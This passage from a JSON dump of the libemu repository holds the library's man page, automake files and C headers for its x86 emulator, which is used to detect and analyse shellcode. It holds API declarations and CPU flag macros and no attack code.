    "content": ".TH EMU 3 \"04 September 2007\"\n.SH NAME \nlibemu - emulate x86 shellcodes \n.SH SYNOPSIS\n.nf\n.ft B\n#include <emu/emu.h>\n#include <emu/emu_memory.h>\n#include <emu/emu_cpu.h>\n.ft\n.LP\n.nf\n.LP\n.ft B\nstruct emu * emu_new ()\nvoid emu_free (struct emu *e)\nstruct emu_memory * emu_memory_get (struct emu *e)\nstruct emu_logging * emu_logging_get (struct emu *e)\nstruct emu_cpu * emu_cpu_get (struct emu *e)\nvoid emu_errno_set (struct emu *e, int err)\nint emu_errno (struct emu *c)\nvoid emu_strerror_set (struct emu *e, \n.ti +8\nconst char *format,...)\nconst char * emu_strerror (struct emu *e)\n.ft\n.LP\n.ft B\nvoid emu_memory_clear (struct emu_memory *em)\nint32_t emu_memory_read_byte (struct emu_memory *m, \n.ti +8\nuint32_t addr, uint8_t *byte)\nint32_t emu_memory_read_word (struct emu_memory *m, \n.ti +8\nuint32_t addr, uint16_t *word)\nint32_t emu_memory_read_dword (struct emu_memory *m, \n.ti +8\nuint32_t addr, uint32_t *dword)\nint32_t emu_memory_read_block (struct emu_memory *m, \n.ti +8\nuint32_t addr, void *dest, size_t len)\nint32_t emu_memory_read_string (struct emu_memory *m, \n.ti +8\nuint32_t addr, struct emu_string *s, uint32_t maxsize)\nint32_t emu_memory_write_byte (struct emu_memory *m, \n.ti +8\nuint32_t addr, uint8_t byte)\nint32_t emu_memory_write_word (struct emu_memory *m, \n.ti +8\nuint32_t addr, uint16_t word)\nint32_t emu_memory_write_dword (struct emu_memory *m, \n.ti +8\nuint32_t addr, uint32_t dword)\nint32_t emu_memory_write_block (struct emu_memory *m, \n.ti +8\nuint32_t addr, void *src, size_t len)\nvoid emu_memory_segment_select (struct emu_memory *m, \n.ti +8\nenum emu_segment s)\nenum emu_segment emu_memory_segment_get (struct emu_memory *m)\nint32_t emu_memory_alloc (struct emu_memory *m, \n.ti +8\nuint32_t *addr, size_t len)\nuint32_t emu_memory_get_usage (struct emu_memory *m)\nvoid emu_memory_mode_ro (struct emu_memory *m)\nvoid emu_memory_mode_rw (struct emu_memory *m)\n.ft\n.LP\n.ft B\nuint32_t emu_cpu_reg32_get (struct emu_cpu *cpu_p, enum emu_reg32 reg)\nuint16_t emu_cpu_reg16_get (struct emu_cpu *cpu_p, enum emu_reg16 reg)\nuint8_t  emu_cpu_reg8_get  (struct emu_cpu *cpu_p, enum emu_reg8  reg)\nvoid emu_cpu_reg16_set (struct emu_cpu *cpu_p, enum emu_reg16 reg, uint16_t val)\nvoid emu_cpu_reg32_set (struct emu_cpu *cpu_p, enum emu_reg32 reg, uint32_t val)\nvoid emu_cpu_reg8_set  (struct emu_cpu *cpu_p, enum emu_reg8 reg,  uint8_t val)\nuint32_t emu_cpu_eflags_get (struct emu_cpu *c)\nvoid emu_cpu_eflags_set (struct emu_cpu *c, uint32_t val)\nvoid emu_cpu_eip_set (struct emu_cpu *c, uint32_t eip)\nuint32_t emu_cpu_eip_get (struct emu_cpu *c)\nint32_t emu_cpu_parse (struct emu_cpu *c)\nint32_t emu_cpu_step (struct emu_cpu *c)\nint32_t emu_cpu_run (struct emu_cpu *c)\nvoid emu_cpu_debug_print (struct emu_cpu *c)\n.ft\n.LP\n.ft B\nint32_t emu_shellcode_test(struct emu *e, uint8_t *data, uint16_t size)\n.ft\n.LP\n.ft B\nstruct emu_env_w32 *emu_env_w32_new(struct emu *e)\nvoid emu_env_w32_free(struct emu_env_w32 *env)\nstruct emu_env_w32_dll_export *emu_env_w32_eip_check(struct emu_env_w32 *env)\nint32_t emu_env_w32_export_hook(struct emu_env_w32 *env,\n.ti +8\nconst char *dllname,\n.ti +8\nconst char *exportname, \n.ti +8 \nint32_t (*fnhook) (struct emu_env_w32 *env, struct emu_env_w32_dll_export *ex)\n.ti +8\n);\n\n\n.ft\n.fi\n.SH DESCRIPTION\nlibemu provides basic x86 emulation including memory access and registers.\n.PP\n.SH ROUTINES\n.B emu_new() \nis used to create a new emulation entity, use\n.B emu_free() \nto free all associated memory.\n.B emu_memory_get()\n,\n.B emu_logging_get()\nand\n.B emu_cpu_get()\ncan be used to obtain pointers to different parts of the emulation.\nFor errorhandling, use \n.B emu_errno()\nor \n.B emu_strerror()\nreturning either a POSIX errno or a string describing the error.\nWhen writing extensions \n.B emu_errno_set()\nand \n.B emu_strerror_set()\nwill come handy too.\n.PP\nThe\n.B emu_memory\nis split up in pages, therefore there are functions to access the memory without taking care of page borders.\n.B emu_memory_read_byte()\n,\n.B emu_memory_read_word()\n,\n.B emu_memory_read_dword()\n,\n.B emu_memory_read_string()\nand \n.B emu_memory_read_block()\ncan be used to read values from the emu memory.\n.B emu_memory_read_string() \nwill allocate the required memory for the string within the \n.B emu_string \nprovided by itself, as you won't be able to know the strings length, \nin all other cases, the pointer to the location has to provide enough space \nto write the data.\n\n.PP\nOnce the emulation is created, code is written to the memory, \nwe need to set the registers to the initial values, the cpuflags to the start values \nand EIP to the point where to start code execution.\n.B emu_cpu\nprovides functions to access all registers, the flags and EIP for read and write.\nTo access the 32bit registers use\n.B emu_cpu_reg32_get()\nand \n.B emu_cpu_reg32_set()\nwhere \n.I reg \nis one of eax, ecx, edx, ebx, esp, ebp, esi, edi.\nTo access the 16bit registers use \n.B emu_cpu_reg16_get()\nand \n.B emu_cpu_reg16_set()\nwith ax, cx, dx, bx, sp, bp, si, di as valid values for \n.IR reg.\nIn case of 8bit register access use\n.B emu_cpu_reg8_get()\nand \n.B emu_cpu_reg8_set()\nwith al, cl, dl, bl, ah, ch, dh, bh as values for \n.IR reg .\nAccessing the cpu's flags is possible using \n.B emu_cpu_eflags_get() \nand \n.BR emu_cpu_eflags_set() .\nAccessing EIP can be done using\n.B emu_cpu_eip_set()\nand\n.BR emu_cpu_eip_get() .\nOnce everything is setup, parse the first instruction using \n.B emu_cpu_parse()\n, on success it will return 0, on failure use\n.B emu_strerror()\nto get a description of the error.\nIf parsing was successfull, step the first instruction using\n.BR emu_cpu_step() .\n.PP\nIf you want to detect shellcodes in buffers, use \n.B emu_shellcode_test()\n, the emu will copy the buffer to it's pages and try to detect a shellcode.\nIf a possible shellcode gets detected, the guessed starting offset is returned, else -1.\n.PP\nTo be able to run shellcodes using windows api, one has to provide parts of the \nwindows process environment to the emulation, as well as some kind of emulation for the used api calls.\n.B emu_env_w32_new()\nwill created a minimalistic process environment in \n.I e\nand using \n.B emu_env_w32_eip_check() \nafter step allows you intercepting calls to exported api.\nIf the return value of \n.B emu_env_w32_eip_check() \nis not NULL, the dll exports information is returned, including the calls name and hook.\nIf you want to hook calls to api exports, use \n.BR emu_env_w32_export_hook() .\n\n.SH AUTHOR \nMarkus Koetter <nepenthesdev@gmail.com>\n"
  },
  {
    "path": "include/Makefile.am",
    "content": "# $Id$\n\nAUTOMAKE_OPTIONS = foreign\n\nSUBDIRS = emu\n"
  },
  {
    "path": "include/emu/Makefile.am",
    "content": "# $Id$\n\nAUTOMAKE_OPTIONS = foreign\n\nSUBDIRS = environment\n\nincludedir = $(prefix)/include/emu\n\ninclude_HEADERS = emu.h\ninclude_HEADERS += emu_cpu_data.h\ninclude_HEADERS += emu_cpu_functions.h\ninclude_HEADERS += emu_cpu.h\ninclude_HEADERS += emu_cpu_instruction.h\ninclude_HEADERS += emu_cpu_itables.h\ninclude_HEADERS += emu_cpu_stack.h\ninclude_HEADERS += emu_fpu_instruction.h\ninclude_HEADERS += emu_getpc.h\ninclude_HEADERS += emu_graph.h\ninclude_HEADERS += emu_hashtable.h\ninclude_HEADERS += emu_instruction.h\ninclude_HEADERS += emu_list.h\ninclude_HEADERS += emu_log.h\ninclude_HEADERS += emu_memory.h\ninclude_HEADERS += emu_queue.h\ninclude_HEADERS += emu_shellcode.h\ninclude_HEADERS += emu_source.h\ninclude_HEADERS += emu_stack.h\ninclude_HEADERS += emu_string.h\ninclude_HEADERS += emu_track.h\ninclude_HEADERS += emu_breakpoint.h\n\n\n#include_HEADERS = emu.h\n#include_HEADERS += emu_log.h\n#include_HEADERS += emu_cpu.h\n#include_HEADERS += emu_memory.h\n\n\n#noinst_HEADERS = emu_cpu_data.h\n#noinst_HEADERS += emu_cpu_functions.h\n#noinst_HEADERS += emu_cpu_itables.h\n#noinst_HEADERS += emu_cpu_stack.h\n"
  },
  {
    "path": "include/emu/emu.h",
    "content": "/********************************************************************************\n *                               libemu\n *\n *                    - x86 shellcode emulation -\n *\n *\n * Copyright (C) 2007  Paul Baecher & Markus Koetter\n * \n * This program is free software; you can redistribute it and/or\n * modify it under the terms of the GNU General Public License\n * as published by the Free Software Foundation; either version 2\n * of the License, or (at your option) any later version.\n * \n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU General Public License for more details.\n * \n * You should have received a copy of the GNU General Public License\n * along with this program; if not, write to the Free Software\n * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301, USA.\n * \n * \n *             contact nepenthesdev@users.sourceforge.net  \n *\n *******************************************************************************/\n\n#ifndef HAVE_EMU_H\n#define HAVE_EMU_H\n\n#include <stdio.h>\n#include <stdint.h>\n\n#ifndef MIN\n\t#define        MIN(a,b) (((a)<(b))?(a):(b))\n#endif\n\n#ifndef MAX\n\t#define        MAX(a,b) (((a)>(b))?(a):(b))\n#endif\n\n\nstruct emu;\nstruct emu_logging;\nstruct emu_cpu;\nstruct emu_fpu;\n\n\n/**\n * Create a new emu.\n * \n * @return on success: the new emu\n *         on failure: NULL\n */\nstruct emu *emu_new(void);\n\n/**\n * Free the emu\n * \n * @param e      the emu to free\n */\nvoid emu_free(struct emu *e);\n\n/**\n * Retrieve a pointer to the emu's emu_memory.\n * \n * @param e      the emu\n * \n * @return The pointer to the emu's emu_memory.\n */\nstruct emu_memory *emu_memory_get(struct emu *e);\n\n/**\n * Retrieve a pointer to the emu's logging facility.\n * \n * @param e      the emu\n * \n * @return pointer to the emu's emu_logging.\n */\nstruct emu_logging *emu_logging_get(struct emu *e);\n\n/**\n * Retrieve a pointer to the emu's emu_cpu\n * \n * @param e      the emu\n * \n * @return pointer to the emu's emu_cpu.\n */\nstruct emu_cpu *emu_cpu_get(struct emu *e);\n\n/**\n * Set the emu's internal errno\n * \n * @param e      the emu\n * @param err\n */\nvoid emu_errno_set(struct emu *e, int err);\n\n/**\n * Retrieve the emu's errno\n * \n * @param c      the emu\n * \n * @return the emu's errno\n */\nint emu_errno(struct emu *c);\n\n/**\n * Set the emu's strerror message.\n * \n * @param e      the emu\n * @param format the errormessage format\n */\nvoid emu_strerror_set(struct emu *e, const char *format, ...);\n\n/**\n * Retrieve the emu's strerror\n * \n * @param e      the emu\n * \n * @return the strerror\n */\nconst char *emu_strerror(struct emu *e);\n\n\n/*int32_t emu_parse(struct emu *e);\nint32_t emu_step(struct emu *e);*/\n#endif // HAVE_EMU_H\n"
  },
  {
    "path": "include/emu/emu_breakpoint.h",
    "content": "/********************************************************************************\n *                               libemu\n *\n *                    - x86 shellcode emulation -\n *\n *\n * Copyright (C) 2007  Paul Baecher & Markus Koetter\n * \n * This program is free software; you can redistribute it and/or\n * modify it under the terms of the GNU General Public License\n * as published by the Free Software Foundation; either version 2\n * of the License, or (at your option) any later version.\n * \n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU General Public License for more details.\n * \n * You should have received a copy of the GNU General Public License\n * along with this program; if not, write to the Free Software\n * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301, USA.\n * \n * \n *             contact nepenthesdev@users.sourceforge.net  \n *\n *******************************************************************************/\n \n#ifndef HAVE_EMU_BREAKPOINT_H\n#define HAVE_EMU_BREAKPOINT_H\n\n#include <inttypes.h>\n#include <stdbool.h>\n\nstruct emu;\nstruct emu_memory;\nstruct emu_breakpoint;\n\n#define EMU_ACCESS_READ\t(4)\n#define EMU_ACCESS_WRITE   (2)\n/* NOTYET SUPPORTED */\n#define EMU_ACCESS_EXECUTE (1) \n\n/* Argument Function Pointers */\ntypedef void (*emu_bp_resp)(struct emu *e);\ntypedef bool (*emu_bp_cond)(struct emu *e);\n\n/* Memory Management */\nstruct emu_breakpoint *emu_breakpoint_alloc(struct emu_memory *mem);\nvoid emu_breakpoint_free(struct emu_breakpoint *bp);\n\n/* Set / Get */\nvoid emu_breakpoint_set(struct emu_memory *m, uint32_t addr, uint8_t access, emu_bp_resp response);\nvoid emu_breakpoint_conditional_set(struct emu_memory *m, uint32_t addr, uint8_t access, emu_bp_resp response, emu_bp_cond condition);\nstruct emu_breakpoint *emu_breakpoint_get(struct emu_memory *m, uint32_t addr);\nvoid emu_breakpoint_check(struct emu_memory *m, uint32_t addr, uint8_t access);\n\nvoid emu_breakpoint_remove(struct emu_memory *m, uint32_t addr);\n\n#endif /* HAVE_EMU_BREAKPOINT_H */\n"
  },
  {
    "path": "include/emu/emu_cpu.h",
    "content": "/********************************************************************************\n *                               libemu\n *\n *                    - x86 shellcode emulation -\n *\n *\n * Copyright (C) 2007  Paul Baecher & Markus Koetter\n * \n * This program is free software; you can redistribute it and/or\n * modify it under the terms of the GNU General Public License\n * as published by the Free Software Foundation; either version 2\n * of the License, or (at your option) any later version.\n * \n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU General Public License for more details.\n * \n * You should have received a copy of the GNU General Public License\n * along with this program; if not, write to the Free Software\n * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301, USA.\n * \n * \n *             contact nepenthesdev@users.sourceforge.net  \n *\n *******************************************************************************/\n\n#ifndef HAVE_EMU_CPU_H\n#define HAVE_EMU_CPU_H\n\n#include <inttypes.h>\n\nstruct emu;\nstruct emu_cpu;\n\nenum emu_reg32 {\n\teax = 0, ecx, edx, ebx, esp, ebp, esi, edi\n};\n\n\nenum emu_reg16\n{\n\tax =  0,/* eax */\n\tcx, \t/* ecx */\n\tdx, \t/* edx */\n\tbx, \t/* ebx */\n\tsp, \t/* esp */\n\tbp, \t/* ebp */\n\tsi, \t/* esp */\n\tdi  \t/* edi */\n\n};\n\n\nenum emu_reg8\n{\n\tal=0,  \t/* eax */\n\tcl,    \t/* ecx */\n\tdl,    \t/* edx */\n\tbl,    \t/* ebx */\n\tah,     /* eax */\n\tch,     /* ecx */\n\tdh,     /* edx */\n\tbh      /* ebx */\n\n};\n\nstruct emu_cpu *emu_cpu_new(struct emu *e);\n\nuint32_t emu_cpu_reg32_get(struct emu_cpu *cpu_p, enum emu_reg32 reg);\nvoid  emu_cpu_reg32_set(struct emu_cpu *cpu_p, enum emu_reg32 reg, uint32_t val);\n\nuint16_t emu_cpu_reg16_get(struct emu_cpu *cpu_p, enum emu_reg16 reg);\nvoid emu_cpu_reg16_set(struct emu_cpu *cpu_p, enum emu_reg16 reg, uint16_t val);\n\nuint8_t emu_cpu_reg8_get(struct emu_cpu *cpu_p, enum emu_reg8 reg);\nvoid emu_cpu_reg8_set(struct emu_cpu *cpu_p, enum emu_reg8 reg, uint8_t val);\n\nuint32_t emu_cpu_eflags_get(struct emu_cpu *c);\nvoid emu_cpu_eflags_set(struct emu_cpu *c, uint32_t val);\n\n/**\n * Set the cpu's EIP\n * \n * @param c      the cpu\n * @param eip    eip\n */\nvoid emu_cpu_eip_set(struct emu_cpu *c, uint32_t eip);\n\n/**\n * get the cpu's EIP\n * \n * @param c      the cpu\n * \n * @return EIP\n */\nuint32_t emu_cpu_eip_get(struct emu_cpu *c);\n\n\n/**\n * parse a instruction at EIP\n * \n * @param c      the cpu\n * \n * @return on success: 0\n *         on errror : -1, check emu_errno and emu_strerror\n */\nint32_t emu_cpu_parse(struct emu_cpu *c);\n\n/**\n * step the last instruction\n * \n * @param c      the cpu\n * \n * @return on success: 0\n *         on errror : -1, check emu_errno and emu_strerror\n */\nint32_t emu_cpu_step(struct emu_cpu *c);\n\nint32_t emu_cpu_run(struct emu_cpu *c);\n\nvoid emu_cpu_free(struct emu_cpu *c);\n\nvoid emu_cpu_debug_print(struct emu_cpu *c);\n\nvoid emu_cpu_debugflag_set(struct emu_cpu *c, uint8_t flag);\nvoid emu_cpu_debugflag_unset(struct emu_cpu *c, uint8_t flag);\n\n\n#endif /* HAVEEMU_CPU_H */\n"
  },
  {
    "path": "include/emu/emu_cpu_data.h",
    "content": "/********************************************************************************\n *                               libemu\n *\n *                    - x86 shellcode emulation -\n *\n *\n * Copyright (C) 2007  Paul Baecher & Markus Koetter\n * \n * This program is free software; you can redistribute it and/or\n * modify it under the terms of the GNU General Public License\n * as published by the Free Software Foundation; either version 2\n * of the License, or (at your option) any later version.\n * \n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU General Public License for more details.\n * \n * You should have received a copy of the GNU General Public License\n * along with this program; if not, write to the Free Software\n * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301, USA.\n * \n * \n *             contact nepenthesdev@users.sourceforge.net  \n *\n *******************************************************************************/\n\n\n#ifndef EMU_CPU_DATA_H_\n#define EMU_CPU_DATA_H_\n\n#include <stdint.h>\n#include <stdbool.h>\n\n#include <emu/emu.h>\n#include <emu/emu_cpu_instruction.h>\n#include <emu/emu_instruction.h>\n\nenum emu_cpu_flag {\n\tf_cf = 0, f_pf = 2, f_af = 4, f_zf = 6, f_sf = 7, f_tf = 8, f_if = 9,\n\tf_df = 10, f_of = 11\n};\n\n#define CPU_FLAG_SET(cpu_p, fl) (cpu_p)->eflags |= 1 << (fl)\n#define CPU_FLAG_UNSET(cpu_p, fl) (cpu_p)->eflags &= ~(1 << (fl))\n#define CPU_FLAG_TOGGLE(cpu_p, fl) (cpu_p)->eflags ^= 1 << (fl)\n#define CPU_FLAG_ISSET(cpu_p, fl) ((cpu_p)->eflags & (1 << (fl)))\n\nstruct emu_track_and_source;\n\n\n#define CPU_DEBUG_FLAG_SET(cpu_p, fl) (cpu_p)->debugflags |= 1 << (fl)\n#define CPU_DEBUG_FLAG_UNSET(cpu_p, fl) (cpu_p)->debugflags &= ~(1 << (fl))\n#define CPU_DEBUG_FLAG_TOGGLE(cpu_p, fl) (cpu_p)->debugflags ^= 1 << (fl)\n#define CPU_DEBUG_FLAG_ISSET(cpu_p, fl) ((cpu_p)->debugflags & (1 << (fl)))\n\nenum emu_cpu_debug_flag {\n\tinstruction_string = 0,\n\tinstruction_size = 1,\n};\n\nstruct emu_cpu\n{\n\tstruct emu *emu;\n\tstruct emu_memory *mem;\n\t\n\tuint32_t debugflags;\n\n\tuint32_t eip;\n\tuint32_t eflags;\n\tuint32_t reg[8];\n\tuint16_t *reg16[8];\n\tuint8_t *reg8[8];\n\n\tstruct emu_instruction \t\t\tinstr;\n\tstruct emu_cpu_instruction_info \t*cpu_instr_info;\n\t\n\tuint32_t last_fpu_instr[2];\n\n\tchar *instr_string;\n\n\tbool repeat_current_instr;\n\n\tstruct emu_track_and_source *tracking;\n};\n\n\n#define MODRM_MOD(x) (((x) >> 6) & 3)\n#define MODRM_REGOPC(x) (((x) >> 3) & 7)\n#define MODRM_RM(x) ((x) & 7)\n    \n#define SIB_SCALE(x) (((x) >> 6) & 3)\n#define SIB_INDEX(x) (((x) >> 3) & 7)\n#define SIB_BASE(x) ((x) & 7)\n\n#define PREFIX_ADSIZE (1 << 0)\n#define PREFIX_OPSIZE (1 << 1)\n#define PREFIX_LOCK (1 << 2)\n#define PREFIX_CS_OVR (1 << 3)\n#define PREFIX_DS_OVR (1 << 4)\n#define PREFIX_ES_OVR (1 << 5)\n#define PREFIX_FS_OVR (1 << 6)\n#define PREFIX_GS_OVR (1 << 7)\n#define PREFIX_SS_OVR (1 << 8)\n#define PREFIX_F2 (1 << 9)\n#define PREFIX_F3 (1 << 10)\n\n#define OPSIZE_8 1\n#define OPSIZE_16 2\n#define OPSIZE_32 3\n\n\n#define MAX_INT8           127\n#define MIN_INT8          -128\n\n#define MAX_UINT8          255\n#define MIN_UINT8            0\n\n#define MAX_INT16        32767\n#define MIN_INT16       -MAX_INT16 -1\n\n#define MAX_UINT16       65535\n#define MIN_UINT16           0\n\n\n#define MAX_INT32   2147483647\n#define MIN_INT32  -MAX_INT32 -1\n\n#define MAX_UINT32\t4294967295U\n#define MIN_UINT32           0\n\n\n\n\nextern int64_t max_inttype_borders[][2][2];\n\n#define INTOF(bits) int##bits##_t\n#define UINTOF(bits) uint##bits##_t\n\n#if !defined(INSTR_CALC)\n#if BYTE_ORDER == BIG_ENDIAN \n#define INSTR_CALC(bits, a, b, c, operation)\t\t\t\\\nUINTOF(bits) operand_a; \\\nUINTOF(bits) operand_b; \\\nbcopy(&(a), &operand_a, bits/8); \\\nbcopy(&(b), &operand_b, bits/8); \\\nUINTOF(bits) operation_result = operand_a operation operand_b;    \\\nbcopy(&operation_result, &(c), bits/8); \n#else // ENDIAN\n#define INSTR_CALC(bits, a, b, c, operation)\t\t\t\\\nUINTOF(bits) operand_a = a;\t\t\t\t\t\t\t\t\\\nUINTOF(bits) operand_b = b;\t\t\t\t\t\t\t\t\\\nUINTOF(bits) operation_result = operand_a operation operand_b;\t\\\nc = operation_result;\n#endif // ENDIAN\n#endif // INSTR_CALC\n\n#if !defined(INSTR_SET_FLAG_ZF)\n#define INSTR_SET_FLAG_ZF(cpu)\t\t\t\t\t\t\\\n{\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\\\n\tif (operation_result == 0)\t\t\t\t\t\t\t\t\\\n\t\tCPU_FLAG_SET(cpu, f_zf);\t\t\t\t\t\t\t\t\\\n\telse\t\t\t\t\t\t\t\t\t\t\t\t\t\\\n\t\tCPU_FLAG_UNSET(cpu, f_zf);\t\t\t\t\t\t\t\\\n}\n#endif // INSTR_SET_FLAG_ZF\n\n#if !defined(INSTR_SET_FLAG_PF)\n#define INSTR_SET_FLAG_PF(cpu)\t\t\t\t\t\t\\\n{\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\\\n\tint num_p_bits=0;\t\t\t\t\t\t\t\t\t\t\\\n\tint i;\t\t\t\t\t\t\t\t\t\t\t\t\t\\\n\tfor ( i=0;i<8;i++ )\t\t\t\t\t\t\t\t\t\t\\\n\t\tif (operation_result & (1 << i) )\t\t\t\t\t\\\n\t\t\tnum_p_bits++;\t\t\t\t\t\t\t\t\t\\\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\\\n\tif ((num_p_bits % 2) == 0)\t\t\t\t\t\t\t\t\\\n\t\tCPU_FLAG_SET(cpu, f_pf);\t\t\t\t\t\t\t\t\\\n\telse\t\t\t\t\t\t\t\t\t\t\t\t\t\\\n\t\tCPU_FLAG_UNSET(cpu, f_pf);\t\t\t\t\t\t\t\\\n}\n#endif // INSTR_SET_FLAG_PF\n\n#if !defined(INSTR_SET_FLAG_SF)\n#define INSTR_SET_FLAG_SF(cpu)\t\t\t\t\t\t\t\t\\\n{\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\\\n\tif (operation_result & (1 << (sizeof(operation_result)*8 - 1)))\t\\\n\t\tCPU_FLAG_SET(cpu, f_sf);\t\t\t\t\t\t\t\t\t\t\\\n\telse\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\\\n\t\tCPU_FLAG_UNSET(cpu, f_sf);\t\t\t\t\t\t\t\t\t\\\n}\n#endif // INSTR_SET_FLAG_SF\n\n#if !defined(INSTR_SET_FLAG_OF)\n#define INSTR_SET_FLAG_OF(cpu, operand, bits)\t\t\t\t\t\t\t\t\\\n{\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\\\n\tint64_t sx = (INTOF(bits))operand_a;                                   \\\n\tint64_t sy = (INTOF(bits))operand_b;                                   \\\n\tint64_t sz = 0;                                                             \\\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\\\n\tsz = sx operand sy;\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\\\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\\\n\tif (sz < max_inttype_borders[sizeof(operation_result)][0][0] || sz > max_inttype_borders[sizeof(operation_result)][0][1] \\\n\t|| sz != (INTOF(bits))operation_result )\t\t\t\t\t\t\t\t\t    \\\n\t{                                                                           \\\n\t\tCPU_FLAG_SET(cpu, f_of);                                                 \\\n\t}else                                                                       \\\n\t{                                                                           \\\n\t\tCPU_FLAG_UNSET(cpu, f_of);                                               \\\n\t}                                                                           \\\n}\n#endif // INSTR_SET_FLAG_OF\n\n\n#if !defined(INSTR_SET_FLAG_CF)\n#define INSTR_SET_FLAG_CF(cpu, operand)\t\t\t\t\t\t\t\t\t\\\n{\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\\\n\tuint64_t ux = (uint64_t)operand_a;                                           \\\n\tuint64_t uy = (uint64_t)operand_b;                                           \\\n\tuint64_t uz = 0;                                                            \\\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\\\n\tuz = ux operand uy;\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\\\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\\\n\tif (uz < max_inttype_borders[sizeof(operation_result)][1][0] || uz > max_inttype_borders[sizeof(operation_result)][1][1] \\\n\t|| uz != (uint64_t)operation_result )\t\t\t\t\t\t\t\t\t    \\\n\t{                                                                           \\\n\t\tCPU_FLAG_SET(cpu, f_cf);                                                 \\\n\t}else                                                                       \\\n\t{                                                                           \\\n\t\tCPU_FLAG_UNSET(cpu, f_cf);                                               \\\n\t}                                                                           \\\n}\n#endif // INSTR_SET_FLAG_CF\n\n\n#include <string.h>\n#define WORD_UPPER_TO_BYTE(to,from) \\\nmemcpy(&(to),((uint8_t *)&(from))+1,1);\n\n#define WORD_LOWER_TO_BYTE(to,from) \\\nmemcpy(&(to),&(from),1);\n\n#define DWORD_UPPER_TO_WORD(to,from) \\\nmemcpy(&(to),((uint8_t *)&(from))+2,2);\n\n#define DWORD_LOWER_TO_WORD(to,from) \\\nmemcpy(&(to),&(from),2);\n\n#define QWORD_UPPER_TO_DWORD(to,from) \\\nmemcpy(&(to),((uint8_t *)&(from))+4,4);\n\n#define QWORD_LOWER_TO_DWORD(to,from) \\\nmemcpy(&(to),&(from),4);\n\n#define DWORD_FROM_WORDS(to, upper, lower) \\\nmemcpy(&to,&lower,2); \\\nmemcpy(((char *)&to)+2,&upper,2); \n\n#define QWORD_FROM_DWORDS(to, upper, lower) \\\nmemcpy(&to,&lower,4); \\\nmemcpy(((char *)&to)+4,&upper,4); \n\n\n\n\n#define TRACK_INIT_REG32(instruction, reg32) (instruction).track.init.reg[reg32] = 0xffffffff;\n#define TRACK_NEED_REG32(instruction, reg32) (instruction).track.need.reg[reg32] = 0xffffffff;\n\n#define TRACK_INIT_REG16(instruction, reg16) (instruction).track.init.reg[reg16] |= 0xffff << 16;\n#define TRACK_NEED_REG16(instruction, reg16) (instruction).track.need.reg[reg16] |= 0xffff << 16;\n\n#define TRACK_INIT_REG8(instruction, reg8) (instruction).track.init.reg[reg8] |= 0xff << 24;\n#define TRACK_NEED_REG8(instruction, reg8) (instruction).track.need.reg[reg8] |= 0xff << 24;\n\n#define TRACK_INIT_EFLAG(instruction, fl) (instruction).track.init.eflags |= 1 << (fl)\n#define TRACK_NEED_EFLAG(instruction, fl) (instruction).track.need.eflags |= 1 << (fl)\n\n#define SOURCE_NORM_POS(instruction, pos) (instruction).source.norm_pos = pos;\n#define SOURCE_COND_POS(instruction, pos)\t(instruction).source.has_cond_pos = 1; (instruction).source.cond_pos = pos;\n\n\n#define TRACK_FPU_LAST_INSTRUCTION  0x0\n\n#define TRACK_INIT_FPU(instruction, what) (instruction).track.init.fpu |= 1 << (what);\n#define TRACK_NEED_FPU(instruction, what) (instruction).track.need.fpu |= 1 << (what);\n\n\n\n#define NNY \"no need yet\"\n#define SST \"16bit memory access is unsupported\"\n\n#define UNIMPLEMENTED(cpu_p, reason) \\\nemu_strerror_set((cpu_p)->emu, \"The following function is unimplemented %s %s:%i (%s)\", __PRETTY_FUNCTION__, __FILE__, __LINE__,  reason); \\\nreturn -1; \n\n#define STUB(cpu_p) \\\nemu_log((cpu_p)->emu, EMU_LOG_INFO, \"The following function is a stub %s %s:%i \\n\", __PRETTY_FUNCTION__, __FILE__, __LINE__);\n\n#endif /*EMU_CPU_DATA_H_*/\n"
  },
  {
    "path": "include/emu/emu_cpu_functions.h",
    "content": "/********************************************************************************\n *                               libemu\n *\n *                    - x86 shellcode emulation -\n *\n *\n * Copyright (C) 2007  Paul Baecher & Markus Koetter\n * \n * This program is free software; you can redistribute it and/or\n * modify it under the terms of the GNU General Public License\n * as published by the Free Software Foundation; either version 2\n * of the License, or (at your option) any later version.\n * \n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU General Public License for more details.\n * \n * You should have received a copy of the GNU General Public License\n * along with this program; if not, write to the Free Software\n * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301, USA.\n * \n * \n *             contact nepenthesdev@users.sourceforge.net  \n *\n *******************************************************************************/\n\n#ifndef HAVE_EMU_CPU_FUNCTIONS_H\n#define HAVE_EMU_CPU_FUNCTIONS_H\n\n\n/* misc 